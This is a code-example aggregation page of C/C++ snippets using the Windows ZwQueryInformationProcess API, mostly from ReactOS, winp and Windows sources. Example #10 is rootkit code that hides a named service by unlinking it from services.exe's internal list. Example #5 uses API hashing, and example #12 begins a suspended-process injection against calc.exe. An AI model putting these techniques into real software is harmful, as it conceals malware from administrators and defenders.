示例#1
1
static PPEB GetCurrentPeb(VOID) {

	NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
	PROCESS_BASIC_INFORMATION ProcessInformation;
	ULONG ReturnLength;
	HMODULE library;

	library = LoadLibrary("ntdll.dll");

	if (library == NULL) { return NULL; }

	ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess");

	if (ZwQueryInformationProcess == NULL) { return NULL; }

	if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) {
		return NULL;
	}

	return ProcessInformation.PebBaseAddress;
}
示例#2
1
文件: process.c 项目: GYGit/reactos
/*
 * @implemented
 *
 * NOTES:
 *   Implementation based on the documentation from:
 *   http://www.geoffchappell.com/studies/windows/win32/ntdll/api/rtl/peb/setprocessiscritical.htm
 */
NTSTATUS
__cdecl
RtlSetProcessIsCritical(IN BOOLEAN NewValue,
                        OUT PBOOLEAN OldValue OPTIONAL,
                        IN BOOLEAN NeedBreaks)
{
    ULONG BreakOnTermination;

    /* Initialize to FALSE */
    if (OldValue) *OldValue = FALSE;

    /* Fail, if the critical breaks flag is required but is not set */
    if ((NeedBreaks) &&
        !(NtCurrentPeb()->NtGlobalFlag & FLG_ENABLE_SYSTEM_CRIT_BREAKS))
    {
        return STATUS_UNSUCCESSFUL;
    }

    /* Check if the caller wants the old value */
    if (OldValue)
    {
        /* Query and return the old break on termination flag for the process */
        ZwQueryInformationProcess(NtCurrentProcess(),
                                  ProcessBreakOnTermination,
                                  &BreakOnTermination,
                                  sizeof(ULONG),
                                  NULL);
        *OldValue = (BOOLEAN)BreakOnTermination;
    }

    /* Set the break on termination flag for the process */
    BreakOnTermination = NewValue;
    return ZwSetInformationProcess(NtCurrentProcess(),
                                   ProcessBreakOnTermination,
                                   &BreakOnTermination,
                                   sizeof(ULONG));
}
示例#3
0
文件: winp.cpp 项目: fabioz/winp
JNIEXPORT jboolean JNICALL Java_org_jvnet_winp_Native_isCriticalProcess(JNIEnv* pEnv, jclass clazz, jint dwProcessId) {
	// first try to obtain handle to the process without the use of any
	// additional privileges
	auto_handle hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
	if (!hProcess)
		return FALSE;

	// make sure this is not a critical process
	ULONG isCritical = 0;
	ZwQueryInformationProcess(hProcess, ProcessBreakOnTermination, &isCritical, sizeof(isCritical), NULL);

	return isCritical!=0;
}
示例#4
0
文件: process.c 项目: GYGit/reactos
/*
 * @implemented
 */
PVOID
NTAPI
RtlEncodePointer(IN PVOID Pointer)
{
    ULONG Cookie;
    NTSTATUS Status;

    Status = ZwQueryInformationProcess(NtCurrentProcess(),
                                       ProcessCookie,
                                       &Cookie,
                                       sizeof(Cookie),
                                       NULL);
    if(!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to receive the process cookie! Status: 0x%lx\n", Status);
        return Pointer;
    }

    return (PVOID)((ULONG_PTR)Pointer ^ Cookie);
}
示例#5
0
PVOID GetProcAddressInModule(PWCHAR ModuleName, PCHAR FunctionName)
{
	NTSTATUS St;
	PROCESS_BASIC_INFORMATION Info;
	PVOID pModuleBase = NULL;
	ULONG t;

	St = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &Info, sizeof(Info), &t);
	if (NT_SUCCESS(St))
	{
		UNICODE_STRING uStr;
		PPEB Peb = Info.PebBaseAddress;

		RtlInitUnicodeString(&uStr, ModuleName);

		LIST_ENTRY* head = &Peb->LoaderData->InLoadOrderModuleList;
		for (LIST_ENTRY* entry = head->Flink; entry != head; entry = entry->Flink) 
		{
			LDR_DATA_TABLE_ENTRY* ldr_entry = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

			if (RtlEqualUnicodeString(&ldr_entry->BaseDllName, &uStr, TRUE))
			{
				pModuleBase = ldr_entry->DllBase;

				break;
			}
		}
	}

	if (pModuleBase)
	{
		return GetProcedureAddressByHash(pModuleBase, FunctionName);
	}
	else
	{
		DbgPrint("pModuleBase error\n");
	}

	return NULL;
}
示例#6
0
文件: winp.cpp 项目: activeeon/winp
//---------------------------------------------------------------------------
// KillProcess
//
//  Terminates the specified process.
//
//  Parameters:
//	  dwProcessId - identifier of the process to terminate
//
//  Returns:
//	  TRUE, if successful, FALSE - otherwise.
//
BOOL WINAPI KillProcess(DWORD dwProcessId) {
	// first try to obtain handle to the process without the use of any
	// additional privileges
	auto_handle hProcess = OpenProcess(PROCESS_TERMINATE|PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
	if (!hProcess)
		return FALSE;

	// make sure this is not a critical process
	ULONG isCritical = 0;
	ZwQueryInformationProcess(hProcess, ProcessBreakOnTermination, &isCritical, sizeof(isCritical), NULL);
	if (isCritical!=0) {// if the call above fails, the value should be left to 0
		return FALSE;
	}

	// terminate the process
	if (!TerminateProcess(hProcess, (UINT)-1)) {
		return FALSE;
	}

	// completed successfully
	return TRUE;
}
示例#7
0
文件: winp.cpp 项目: fabioz/winp
//---------------------------------------------------------------------------
// KillProcess
//
//  Terminates the specified process.
//
//  Parameters:
//	  dwProcessId - identifier of the process to terminate
//
//  Returns:
//	  TRUE, if successful, FALSE - otherwise.
//
DWORD WINAPI KillProcess(DWORD dwProcessId) {
	// first try to obtain handle to the process without the use of any
	// additional privileges
	auto_handle hProcess = OpenProcess(PROCESS_TERMINATE|PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
	if (!hProcess) {
    	return GetLastError();
    }

    // make sure this is not a critical process
    ULONG isCritical = 0;
    ZwQueryInformationProcess(hProcess, ProcessBreakOnTermination, &isCritical, sizeof(isCritical), NULL);
    if (isCritical!=0) {// if the call above fails, the value should be left to 0
        return ERROR_ACCESS_DENIED;
    }

	if (TerminateProcess(hProcess, (UINT)-1)) {
	// completed successfully
		return ERROR_SUCCESS;
	}

	// either the process could not be opened or it could not be terminated
	return GetLastError();
}
示例#8
0
文件: process.c 项目: GYGit/reactos
/*
 * @implemented
 *
 * Creates a process and its initial thread.
 *
 * NOTES:
 *  - The first thread is created suspended, so it needs a manual resume!!!
 *  - If ParentProcess is NULL, current process is used
 *  - ProcessParameters must be normalized
 *  - Attributes are object attribute flags used when opening the ImageFileName.
 *    Valid flags are OBJ_INHERIT and OBJ_CASE_INSENSITIVE.
 *
 * -Gunnar
 */
NTSTATUS
NTAPI
RtlCreateUserProcess(IN PUNICODE_STRING ImageFileName,
                     IN ULONG Attributes,
                     IN OUT PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
                     IN PSECURITY_DESCRIPTOR ProcessSecurityDescriptor OPTIONAL,
                     IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
                     IN HANDLE ParentProcess OPTIONAL,
                     IN BOOLEAN InheritHandles,
                     IN HANDLE DebugPort OPTIONAL,
                     IN HANDLE ExceptionPort OPTIONAL,
                     OUT PRTL_USER_PROCESS_INFORMATION ProcessInfo)
{
    NTSTATUS Status;
    HANDLE hSection;
    PROCESS_BASIC_INFORMATION ProcessBasicInfo;
    OBJECT_ATTRIBUTES ObjectAttributes;
    UNICODE_STRING DebugString = RTL_CONSTANT_STRING(L"\\WindowsSS");
    DPRINT("RtlCreateUserProcess: %wZ\n", ImageFileName);

    /* Map and Load the File */
    Status = RtlpMapFile(ImageFileName,
                         Attributes,
                         &hSection);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Could not map process image\n");
        return Status;
    }

    /* Clean out the current directory handle if we won't use it */
    if (!InheritHandles) ProcessParameters->CurrentDirectory.Handle = NULL;

    /* Use us as parent if none other specified */
    if (!ParentProcess) ParentProcess = NtCurrentProcess();

    /* Initialize the Object Attributes */
    InitializeObjectAttributes(&ObjectAttributes,
                               NULL,
                               0,
                               NULL,
                               ProcessSecurityDescriptor);

    /*
     * If FLG_ENABLE_CSRDEBUG is used, then CSRSS is created under the
     * watch of WindowsSS
     */
    if ((RtlGetNtGlobalFlags() & FLG_ENABLE_CSRDEBUG) &&
        (wcsstr(ImageFileName->Buffer, L"csrss")))
    {
        ObjectAttributes.ObjectName = &DebugString;
    }

    /* Create Kernel Process Object */
    Status = ZwCreateProcess(&ProcessInfo->ProcessHandle,
                             PROCESS_ALL_ACCESS,
                             &ObjectAttributes,
                             ParentProcess,
                             InheritHandles,
                             hSection,
                             DebugPort,
                             ExceptionPort);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Could not create Kernel Process Object\n");
        ZwClose(hSection);
        return Status;
    }

    /* Get some information on the image */
    Status = ZwQuerySection(hSection,
                            SectionImageInformation,
                            &ProcessInfo->ImageInformation,
                            sizeof(SECTION_IMAGE_INFORMATION),
                            NULL);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Could not query Section Info\n");
        ZwClose(ProcessInfo->ProcessHandle);
        ZwClose(hSection);
        return Status;
    }

    /* Get some information about the process */
    Status = ZwQueryInformationProcess(ProcessInfo->ProcessHandle,
                                       ProcessBasicInformation,
                                       &ProcessBasicInfo,
                                       sizeof(ProcessBasicInfo),
                                       NULL);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Could not query Process Info\n");
        ZwClose(ProcessInfo->ProcessHandle);
        ZwClose(hSection);
        return Status;
    }

    /* Duplicate the standard handles */
    Status = STATUS_SUCCESS;
    _SEH2_TRY
    {
        if (ProcessParameters->StandardInput)
        {
            Status = ZwDuplicateObject(ParentProcess,
                                       ProcessParameters->StandardInput,
                                       ProcessInfo->ProcessHandle,
                                       &ProcessParameters->StandardInput,
                                       0,
                                       0,
                                       DUPLICATE_SAME_ACCESS |
                                       DUPLICATE_SAME_ATTRIBUTES);
            if (!NT_SUCCESS(Status))
            {
                _SEH2_LEAVE;
            }
        }

        if (ProcessParameters->StandardOutput)
        {
            Status = ZwDuplicateObject(ParentProcess,
                                       ProcessParameters->StandardOutput,
                                       ProcessInfo->ProcessHandle,
                                       &ProcessParameters->StandardOutput,
                                       0,
                                       0,
                                       DUPLICATE_SAME_ACCESS |
                                       DUPLICATE_SAME_ATTRIBUTES);
            if (!NT_SUCCESS(Status))
            {
                _SEH2_LEAVE;
            }
        }

        if (ProcessParameters->StandardError)
        {
            Status = ZwDuplicateObject(ParentProcess,
                                       ProcessParameters->StandardError,
                                       ProcessInfo->ProcessHandle,
                                       &ProcessParameters->StandardError,
                                       0,
                                       0,
                                       DUPLICATE_SAME_ACCESS |
                                       DUPLICATE_SAME_ATTRIBUTES);
            if (!NT_SUCCESS(Status))
            {
                _SEH2_LEAVE;
            }
        }
    }
    _SEH2_FINALLY
    {
        if (!NT_SUCCESS(Status))
        {
            ZwClose(ProcessInfo->ProcessHandle);
            ZwClose(hSection);
        }
    }
    _SEH2_END;

    if (!NT_SUCCESS(Status))
        return Status;

    /* Create Process Environment */
    Status = RtlpInitEnvironment(ProcessInfo->ProcessHandle,
                                 ProcessBasicInfo.PebBaseAddress,
                                 ProcessParameters);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Could not Create Process Environment\n");
        ZwClose(ProcessInfo->ProcessHandle);
        ZwClose(hSection);
        return Status;
    }

    /* Create the first Thread */
    Status = RtlCreateUserThread(ProcessInfo->ProcessHandle,
                                 ThreadSecurityDescriptor,
                                 TRUE,
                                 ProcessInfo->ImageInformation.ZeroBits,
                                 ProcessInfo->ImageInformation.MaximumStackSize,
                                 ProcessInfo->ImageInformation.CommittedStackSize,
                                 ProcessInfo->ImageInformation.TransferAddress,
                                 ProcessBasicInfo.PebBaseAddress,
                                 &ProcessInfo->ThreadHandle,
                                 &ProcessInfo->ClientId);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Could not Create Thread\n");
        ZwClose(ProcessInfo->ProcessHandle);
        ZwClose(hSection); /* Don't try to optimize this on top! */
        return Status;
    }

    /* Close the Section Handle and return */
    ZwClose(hSection);
    return STATUS_SUCCESS;
}
示例#9
0
ProcessInformation GetProcessInfo()
{
	PEPROCESS pep;
	ULONG ret,retlen;
	NTSTATUS rc,status;
	ProcessInformation  process;
	PFILE_OBJECT fileObject = NULL;
	
	PUNICODE_STRING temp_unicode;
	PVOID unicode;
	ULONG ppid = 0;
	PCHAR toto;
	
	PAGED_CODE();
	
	// On recupere le PID
	process.pid = (LONG)PsGetCurrentProcessId();
		
	PsLookupProcessByProcessId ((HANDLE)process.pid,&pep);
	toto = (PCHAR) pep;
	process.ppid = *((ULONG*)(toto+0x140));
	// On recupere les 16 premiers bits du nom du process
	process.name = PsGetProcessImageFileName(pep);

	// On recupere le path complet du process
	rc = ZwQueryInformationProcess(ZwCurrentProcess(), ProcessImageFileName, NULL, 0, &ret);
								

	if(rc == STATUS_INFO_LENGTH_MISMATCH)
	{
		retlen = ret - sizeof(UNICODE_STRING);
		unicode = ExAllocatePool(NonPagedPool, ret);
		process.pathname = (PUNICODE_STRING) ExAllocatePool(NonPagedPool, sizeof(UNICODE_STRING));
		
		// if(process.pathname->MaximumLength <  retlen)
		// {
			// RtlInitUnicodeString(process.pathname, L"Echec" );
			// return process;
		// }	
		
		
		if(unicode != NULL)
		{	
			RtlInitUnicodeString(process.pathname,0);
			rc = ZwQueryInformationProcess(ZwCurrentProcess(), ProcessImageFileName, unicode, ret, &ret);
			if( rc == STATUS_SUCCESS)
			{
				 temp_unicode = (PUNICODE_STRING) unicode;
				 // process.pathname = (PUNICODE_STRING) ExAllocatePool(NonPagedPool, temp_unicode->Length);
				 RtlCopyUnicodeString(process.pathname, temp_unicode );
				// RtlInitUnicodeString(process.pathname, unicode );
			}
			else
				RtlInitUnicodeString(process.pathname, L"Echec" );
			
			ExFreePool(unicode);
		}
	}
	
	return process;
}
示例#10
0
NTSTATUS HideFromSCManager(WCHAR *service)
{
  NTSTATUS status;
  PEPROCESS proc;
  PROCESS_BASIC_INFORMATION pbi;
  ULONG *ptr, *ptr2;
  PPEB peb;
  PIMAGE_SECTION_HEADER dsh; // data section headers
  PSERVICE_RECORD curr, prev=NULL, next=NULL;
  PVOID dsec;
  ULONG ServiceNameLen, ServiceToHideNameLen, dsecsize, n, i;
   
  if( NbHiddenServices >= 128 )
     return STATUS_UNSUCCESSFUL;

  // we look for services.exe EPROCESS struct
  status = GetEProcessByName (L"SERVICES.EXE", &proc);
  if( !NT_SUCCESS(status) ) {
    status = GetEProcessByName (L"services.exe", &proc);  
    if( !NT_SUCCESS(status) )  
       return status;
  }

  
  // we attach to it :)
  KeAttachProcess(proc); 
  
  
  // we get infos about current process
  status = ZwQueryInformationProcess(NtCurrentProcess(),
     ProcessBasicInformation, 
     &pbi, 
     sizeof(pbi), 
     0);
  
     
  if( !NT_SUCCESS(status) ) {
     KeDetachProcess();
     return status;    
  }
  
  peb = pbi.PebBaseAddress; 
  
  // look for data section
  dsh = FindModuleSectionHdr(peb->ImageBaseAddress, ".data");                  
                                                                                  
  if( !dsh ) {
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;   
  }
  
  
  // get section size & offset
  dsecsize = dsh->SizeOfRawData;
  dsec = dsh->VirtualAddress + (PUCHAR)peb->ImageBaseAddress;
  
  /*
      We have now to find the beginning of the service table in the .data section.
      As weasel said, to identify it, we look for a null ptr followed by a valid 
      memory address.
  */
  
  if( !srecord ) {
     for(ptr=(PULONG)dsec, n=dsecsize>>2; n ;  n--,ptr++) {
      
        if( !IsGoodPtr(ptr, 2*sizeof(ULONG)) )
           continue;
     
        if ( (ptr[0] == 0UL) && // our null byte
             (ptr[1] != 0UL) && 
             (ptr[1] < (ULONG)MM_HIGHEST_USER_ADDRESS) && 
             !(ptr[1]&1)) 
        {
           if( IsGoodPtr(ptr, sizeof(SERVICE_RECORD)) ) {
           
            
              if( !MmIsAddressValid(&((PSERVICE_RECORD)ptr[1])->sErv))
                 continue; 
           
              // we look for the sErv tag  
              if( ((PSERVICE_RECORD)ptr[1])->PreviousServiceRecord == (PSERVICE_RECORD)ptr &&
                 ((PSERVICE_RECORD)ptr[1])->sErv == 'vrEs' ) {                       
                 srecord = (PSERVICE_RECORD)ptr;      
                 break;         
              } 
           }
        }  
     }     
  }
  if( !srecord ) {
     // :(
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;    
  }
  
  curr=srecord;
  ServiceToHideNameLen = wcslen(service); 
  
  while( curr ) {
     if( curr->Lp_WideServiceName == NULL ) {
        curr = curr->NextServiceRecord;
        continue;
     }   
     
     ServiceNameLen = wcslen( curr->Lp_WideServiceName );
     
     if(  ServiceToHideNameLen == ServiceNameLen &&
          !memcmp(curr->Lp_WideServiceName, service, (ServiceNameLen+1)*2))
     {
          
           // process to hide    
           next = curr->NextServiceRecord;
           prev = curr->PreviousServiceRecord;
           
   
           // we hide the service, like for DKOM
           _asm sti
           
           if(next) 
              next->PreviousServiceRecord = prev; 
           if(prev) 
              prev->NextServiceRecord = next;
              
           // note that we can't hide the first service, we don't know 
           // how to access the list right.  

           _asm cli 
            
           // we get data usefull to restore the service later
           HiddenService[NbHiddenServices] = curr;
           NbHiddenServices++;  
      }
      
      curr = curr->NextServiceRecord;      
  }
示例#11
0
NTSTATUS
RtlCreateUserProcess(
    IN PUNICODE_STRING NtImagePathName,
    IN ULONG Attributes,
    IN PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    IN PSECURITY_DESCRIPTOR ProcessSecurityDescriptor OPTIONAL,
    IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
    IN HANDLE ParentProcess OPTIONAL,
    IN BOOLEAN InheritHandles,
    IN HANDLE DebugPort OPTIONAL,
    IN HANDLE ExceptionPort OPTIONAL,
    OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation
    )

/*++

Routine Description:

    This function creates a user mode process with a single thread with
    a suspend count of one.  The address space of the new process is
    initialized with the contents of specified image file.  The caller
    can specify the Access Control List for the new process and thread.
    The caller can also specify the parent process to inherit process
    priority and processor affinity from.  The default is to inherit
    these from the current process.  Finally the caller can specify
    whether the new process is to inherit any of the object handles
    from the specified parent process or not.

    Information about the new process and thread is returned via
    the ProcessInformation parameter.

Arguments:

    NtImagePathName - A required pointer that points to the NT Path string
        that identifies the image file that is to be loaded into the
        child process.

    ProcessParameters - A required pointer that points to parameters that
        are to passed to the child process.

    ProcessSecurityDescriptor - An optional pointer to the Security Descriptor
        give to the new process.

    ThreadSecurityDescriptor - An optional pointer to the Security Descriptor
        give to the new thread.

    ParentProcess - An optional process handle that will used to inherit
        certain properties from.

    InheritHandles - A boolean value.  TRUE specifies that object handles
        associated with the specified parent process are to be inherited
        by the new process, provided they have the OBJ_INHERIT attribute.
        FALSE specifies that the new process is to inherit no handles.

    DebugPort - An optional handle to the debug port associated with this
        process.

    ExceptionPort - An optional handle to the exception port associated with this
        process.

    ProcessInformation - A pointer to a variable that receives information
        about the new process and thread.

--*/

{
    NTSTATUS Status;
    HANDLE Section, File;
    OBJECT_ATTRIBUTES ObjectAttributes;
    PRTL_USER_PROCESS_PARAMETERS Parameters;
    SIZE_T ParameterLength;
    PVOID Environment;
    PWCHAR s;
    SIZE_T EnvironmentLength;
    SIZE_T RegionSize;
    PROCESS_BASIC_INFORMATION ProcessInfo;
    PPEB Peb;
    UNICODE_STRING Unicode;

    //
    // Zero output parameter and probe the addresses at the same time
    //

    RtlZeroMemory( ProcessInformation, sizeof( *ProcessInformation ) );
    ProcessInformation->Length = sizeof( *ProcessInformation );

    //
    // Open the specified image file.
    //

    Status = RtlpOpenImageFile( NtImagePathName,
                                Attributes & (OBJ_INHERIT | OBJ_CASE_INSENSITIVE),
                                &File,
                                TRUE
                              );
    if (!NT_SUCCESS( Status )) {
        return( Status );
        }


    //
    // Create a memory section backed by the opened image file
    //

    Status = ZwCreateSection( &Section,
                              SECTION_ALL_ACCESS,
                              NULL,
                              NULL,
                              PAGE_EXECUTE,
                              SEC_IMAGE,
                              File
                            );
    ZwClose( File );
    if ( !NT_SUCCESS( Status ) ) {
        return( Status );
        }


    //
    // Create the user mode process, defaulting the parent process to the
    // current process if one is not specified.  The new process will not
    // have a name nor will the handle be inherited by other processes.
    //

    if (!ARGUMENT_PRESENT( ParentProcess )) {
        ParentProcess = NtCurrentProcess();
        }

    InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL,
                                ProcessSecurityDescriptor );
    if ( RtlGetNtGlobalFlags() & FLG_ENABLE_CSRDEBUG ) {
        if ( wcsstr(NtImagePathName->Buffer,L"csrss") ||
             wcsstr(NtImagePathName->Buffer,L"CSRSS")
           ) {

            //
            // For Hydra we don't name the CSRSS process to avoid name
            // collissions when multiple CSRSS's are started
            //
            if (ISTERMINALSERVER()) {

                InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL,
                                            ProcessSecurityDescriptor );
            } else {

                RtlInitUnicodeString(&Unicode,L"\\WindowsSS");
                InitializeObjectAttributes( &ObjectAttributes, &Unicode, 0, NULL,
                                            ProcessSecurityDescriptor );
            }

            }
        }

    if ( !InheritHandles ) {
        ProcessParameters->CurrentDirectory.Handle = NULL;
        }
    Status = ZwCreateProcess( &ProcessInformation->Process,
                              PROCESS_ALL_ACCESS,
                              &ObjectAttributes,
                              ParentProcess,
                              InheritHandles,
                              Section,
                              DebugPort,
                              ExceptionPort
                            );
    if ( !NT_SUCCESS( Status ) ) {
        ZwClose( Section );
        return( Status );
        }


    //
    // Retrieve the interesting information from the image header
    //

    Status = ZwQuerySection( Section,
                             SectionImageInformation,
                             &ProcessInformation->ImageInformation,
                             sizeof( ProcessInformation->ImageInformation ),
                             NULL
                           );
    if ( !NT_SUCCESS( Status ) ) {
        ZwClose( ProcessInformation->Process );
        ZwClose( Section );
        return( Status );
        }

    Status = ZwQueryInformationProcess( ProcessInformation->Process,
                                        ProcessBasicInformation,
                                        &ProcessInfo,
                                        sizeof( ProcessInfo ),
                                        NULL
                                      );
    if ( !NT_SUCCESS( Status ) ) {
        ZwClose( ProcessInformation->Process );
        ZwClose( Section );
        return( Status );
        }

    Peb = ProcessInfo.PebBaseAddress;

    //
    // Duplicate Native handles into new process if any specified.
    // Note that the duplicated handles will overlay the input values.
    //

    try {
        Status = STATUS_SUCCESS;

        if ( ProcessParameters->StandardInput ) {

            Status = ZwDuplicateObject(
                        ParentProcess,
                        ProcessParameters->StandardInput,
                        ProcessInformation->Process,
                        &ProcessParameters->StandardInput,
                        0L,
                        0L,
                        DUPLICATE_SAME_ACCESS | DUPLICATE_SAME_ATTRIBUTES
                        );
            if ( !NT_SUCCESS(Status) ) {
                __leave;
            }
        }

        if ( ProcessParameters->StandardOutput ) {

            Status = ZwDuplicateObject(
                        ParentProcess,
                        ProcessParameters->StandardOutput,
                        ProcessInformation->Process,
                        &ProcessParameters->StandardOutput,
                        0L,
                        0L,
                        DUPLICATE_SAME_ACCESS | DUPLICATE_SAME_ATTRIBUTES
                        );
            if ( !NT_SUCCESS(Status) ) {
                __leave;
            }
        }

        if ( ProcessParameters->StandardError ) {

            Status = ZwDuplicateObject(
                        ParentProcess,
                        ProcessParameters->StandardError,
                        ProcessInformation->Process,
                        &ProcessParameters->StandardError,
                        0L,
                        0L,
                        DUPLICATE_SAME_ACCESS | DUPLICATE_SAME_ATTRIBUTES
                        );
            if ( !NT_SUCCESS(Status) ) {
                __leave;
            }
        }

    } finally {
        if ( !NT_SUCCESS(Status) ) {
            ZwClose( ProcessInformation->Process );
            ZwClose( Section );
        }
    }

    if ( !NT_SUCCESS(Status) ) {
        return Status;
    }

    //
    // Possibly reserve some address space in the new process
    //

    if (ProcessInformation->ImageInformation.SubSystemType == IMAGE_SUBSYSTEM_NATIVE ) {
        if ( ProcessParameters->Flags & RTL_USER_PROC_RESERVE_1MB ) {

            Environment = (PVOID)(4);
            RegionSize = (1024*1024)-(256);

            Status = ZwAllocateVirtualMemory( ProcessInformation->Process,
                                              (PVOID *)&Environment,
                                              0,
                                              &RegionSize,
                                              MEM_RESERVE,
                                              PAGE_READWRITE
                                            );
            if ( !NT_SUCCESS( Status ) ) {
                ZwClose( ProcessInformation->Process );
                ZwClose( Section );
                return( Status );
                }
            }
        }

    //
    // Allocate virtual memory in the new process and use NtWriteVirtualMemory
    // to write a copy of the process environment block into the address
    // space of the new process.  Save the address of the allocated block in
    // the process parameter block so the new process can access it.
    //

    if (s = (PWCHAR)ProcessParameters->Environment) {
        while (*s++) {
            while (*s++) {
                }
            }
        EnvironmentLength = (SIZE_T)(s - (PWCHAR)ProcessParameters->Environment) * sizeof(WCHAR);

        Environment = NULL;
        RegionSize = EnvironmentLength;
        Status = ZwAllocateVirtualMemory( ProcessInformation->Process,
                                          (PVOID *)&Environment,
                                          0,
                                          &RegionSize,
                                          MEM_COMMIT,
                                          PAGE_READWRITE
                                        );
        if ( !NT_SUCCESS( Status ) ) {
            ZwClose( ProcessInformation->Process );
            ZwClose( Section );
            return( Status );
            }

        Status = ZwWriteVirtualMemory( ProcessInformation->Process,
                                       Environment,
                                       ProcessParameters->Environment,
                                       EnvironmentLength,
                                       NULL
                                     );
        if ( !NT_SUCCESS( Status ) ) {
            ZwClose( ProcessInformation->Process );
            ZwClose( Section );
            return( Status );
            }

        ProcessParameters->Environment = Environment;
        }

    //
    // Allocate virtual memory in the new process and use NtWriteVirtualMemory
    // to write a copy of the process parameters block into the address
    // space of the new process.  Set the initial parameter to the new thread
    // to be the address of the block in the new process's address space.
    //

    Parameters = NULL;
    ParameterLength = ProcessParameters->MaximumLength;
    Status = ZwAllocateVirtualMemory( ProcessInformation->Process,
                                      (PVOID *)&Parameters,
                                      0,
                                      &ParameterLength,
                                      MEM_COMMIT,
                                      PAGE_READWRITE
                                    );
    if ( !NT_SUCCESS( Status ) ) {
        ZwClose( ProcessInformation->Process );
        ZwClose( Section );
        return( Status );
        }

    Status = ZwWriteVirtualMemory( ProcessInformation->Process,
                                   Parameters,
                                   ProcessParameters,
                                   ProcessParameters->Length,
                                   NULL
                                 );
    if ( !NT_SUCCESS( Status ) ) {
            ZwClose( ProcessInformation->Process );
            ZwClose( Section );
            return( Status );
            }

    Status = ZwWriteVirtualMemory( ProcessInformation->Process,
                                   &Peb->ProcessParameters,
                                   &Parameters,
                                   sizeof( Parameters ),
                                   NULL
                                 );
    if ( !NT_SUCCESS( Status ) ) {
        ZwClose( ProcessInformation->Process );
        ZwClose( Section );
        return( Status );
        }

    //
    // Create a suspended thread in the new process.  Specify the size and
    // position of the stack, along with the start address, initial parameter
    // and an SECURITY_DESCRIPTOR.  The new thread will not have a name and its handle will
    // not be inherited by other processes.
    //

    Status = RtlCreateUserThread(
                 ProcessInformation->Process,
                 ThreadSecurityDescriptor,
                 TRUE,
                 ProcessInformation->ImageInformation.ZeroBits,
                 ProcessInformation->ImageInformation.MaximumStackSize,
                 ProcessInformation->ImageInformation.CommittedStackSize,
                 (PUSER_THREAD_START_ROUTINE)
                     ProcessInformation->ImageInformation.TransferAddress,
                 (PVOID)Peb,
                 &ProcessInformation->Thread,
                 &ProcessInformation->ClientId
                 );
    if ( !NT_SUCCESS( Status ) ) {
        ZwClose( ProcessInformation->Process );
        ZwClose( Section );
        return( Status );
        }

    //
    // Now close the section and file handles.  The objects they represent
    // will not actually go away until the process is destroyed.
    //

    ZwClose( Section );

    //
    // Return success status
    //

    return( STATUS_SUCCESS );
}
示例#12
0
int main(void)
{
    if (load_ntdll_functions() == FALSE) {
        printf("Failed to load NTDLL function\n");
        return (-1);
    }

    STARTUPINFO si;
    memset(&si, 0, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);

    PROCESS_INFORMATION pi;
    memset(&pi, 0, sizeof(PROCESS_INFORMATION));

    PROCESS_BASIC_INFORMATION pbi;
    memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));

    wchar_t app_path[260];
    ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", (LPWSTR)app_path, sizeof(app_path));
    wprintf(L"Full path = %s\n", app_path);

    if (!CreateProcessW(
            (LPWSTR) app_path, //lpApplicationName
            NULL, //lpCommandLine
            NULL, //lpProcessAttributes
            NULL, //lpThreadAttributes
            NULL, //bInheritHandles
            CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags
            NULL, //lpEnvironment 
            NULL, //lpCurrentDirectory
            &si, //lpStartupInfo
            &pi //lpProcessInformation
        ))
    {
        printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
        return (-1);
    }

    if (ZwQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
    {
        printf("[ERROR] ZwQueryInformation failed\n");
        return (-1);
    }

    printf("PID = 0x%x\n", pbi.UniqueProcessId);

    LPCVOID ImageBase = 0;
    DWORD read_bytes = 0;
    if (!ReadProcessMemory(pi.hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes) && read_bytes != sizeof(ImageBase))
    {
        printf("[ERROR] ReadProcessMemory failed\n");
        return (-1);
    }
    printf("ImageBase = 0x%p\n", ImageBase);

    // read headers in order to find Entry Point:
    unsigned char hdrs_buf[0x1000];
    if (!ReadProcessMemory(pi.hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf))
    {
        printf("[-] ReadProcessMemory failed\n");
        return (-1);
    }
    // verify read content:
    if (hdrs_buf[0] != 'M' || hdrs_buf[1] != 'Z') {
        printf("[-] MZ header check failed\n");
        return (-1);
    }

    // fetch Entry Point From headers
    IMAGE_OPTIONAL_HEADER32 opt_hdr = get_opt_hdr(hdrs_buf);
    DWORD ep_rva = opt_hdr.AddressOfEntryPoint;
